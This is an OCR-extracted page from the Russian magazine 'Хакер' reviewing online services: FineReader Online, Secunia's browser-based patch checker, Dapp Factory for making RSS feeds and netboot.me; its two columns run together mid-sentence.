Pydev 1.5.0 >System Gnash 0.8.6 Sshguard 1.4
PyScripter 1.9.9.7 BareTail 3.50a Googsystray 0.6
ÑÒÐ. 90
UNITS
HTTP:// WWW2
для обновления приложений
для распознавания
текста
FINEREADER ONLINE
finereaderonline.com
Распознавать текст с отсканированного документа мне требуется не-
часто, но всякий раз, когда возникает такая необходимость, приходится SECUNIA ONLINE
тратить уйму времени на поиск дистрибутива Finereader’а, его закачку и
установку. Теперь же, наконец-то, можно воспользоваться онлайн-вер- SOFTWARE
сией этого замечательно продукта. Распознавание текста осуществля-
ется с помощью тех же самых OCR-технологий, которые используются INSPECTOR
в десктопной версии программы. FineReader Online сохраняет струк-
туру отсканированных документов и позволяет сохранить результат в secunia.com/
Microsoft Word, Excel и другие форматы. Вдвойне приятно, что во время
бета-тестирования сервиса плату за использование никто с тебя не возь- vulnerability_scanning/
мет, правда, распознать ты сможешь лишь 10 страниц в день.
online
На наш диск мы не раз выкладывали утилиту PSI — разработку извест-
ной западной компании, занимающейся информационной безопаснос-
тью. Единственная задача этой тулзы — проверить весь установленный
софт и выявить те программы, для которых необходимо установить об-
новления. Причем особенный упор делается на необходимость апдейта в
случае обнаружения критических уязвимостей. Оказывается, в арсенале
компании существует онлайн-сервис, способный выполнить анало-
гичную проверку прямо в браузере. Единственным условием является
для превращения установленная на компьютере Java.
любого сайта
в RSS-фид
www.dapper.net/dapp-
factory.jsp NETBOOT.ME
Нереально крутой сервис, я нашел его недавно и уже знаю для него массу
применений. Dapp Factory превращает любой сайт в... RSS-фид, веб-сервис
или виджет на рабочий стол. Сначала с помощью специального мастера
netboot.me
ты открываешь нужный сайт (пусть это будет поиск по блогам в Яндексе), Этим онлайн-сервисом нельзя воспользоваться в браузере. Зато отсюда ты
затем переходишь там в нужное тебе место, вводишь в случае необходи- можешь закачать небольшой загрузочный образ и записать его на CD/DVD или
мости данные в формах (скажем, «журнал хакер» в строке поиска), после USB-флешку. Загрузившись с такого образа и при наличии постоянного wired-
чего указываешь (в нашем случае на странице с результатом поиска), какие интернета, ты можешь прямо из появившийся оболочки запускать разные при-
данные тебя интересуют. Достаточно кликнуть на один из повторяющихся ложения (в том числе для восстановления системы) и даже дистрибутивы Linux
элементов — Dapp Factory сам проанализирует страницу и выберет все ана- и BSD. Оболочка сама подкачивает с netboot.me нужные файлы и запускает
логичные данные. Так мы легко получаем автоматически составляющийся то, что ты выберешь в загрузочном меню. Причем ты сам можешь отконфигу-
RSS-фид, составленный из актуальных упоминаний в блогах журнала рировать оболочку, создав аккаунт на сайте, и даже добавить в него нужные
«Хакер». В RSS-фид можно оформить любые данные и с любого веб-сайта. приложения и дистрибутивы, если их там по умолчанию нет. Супер вещь!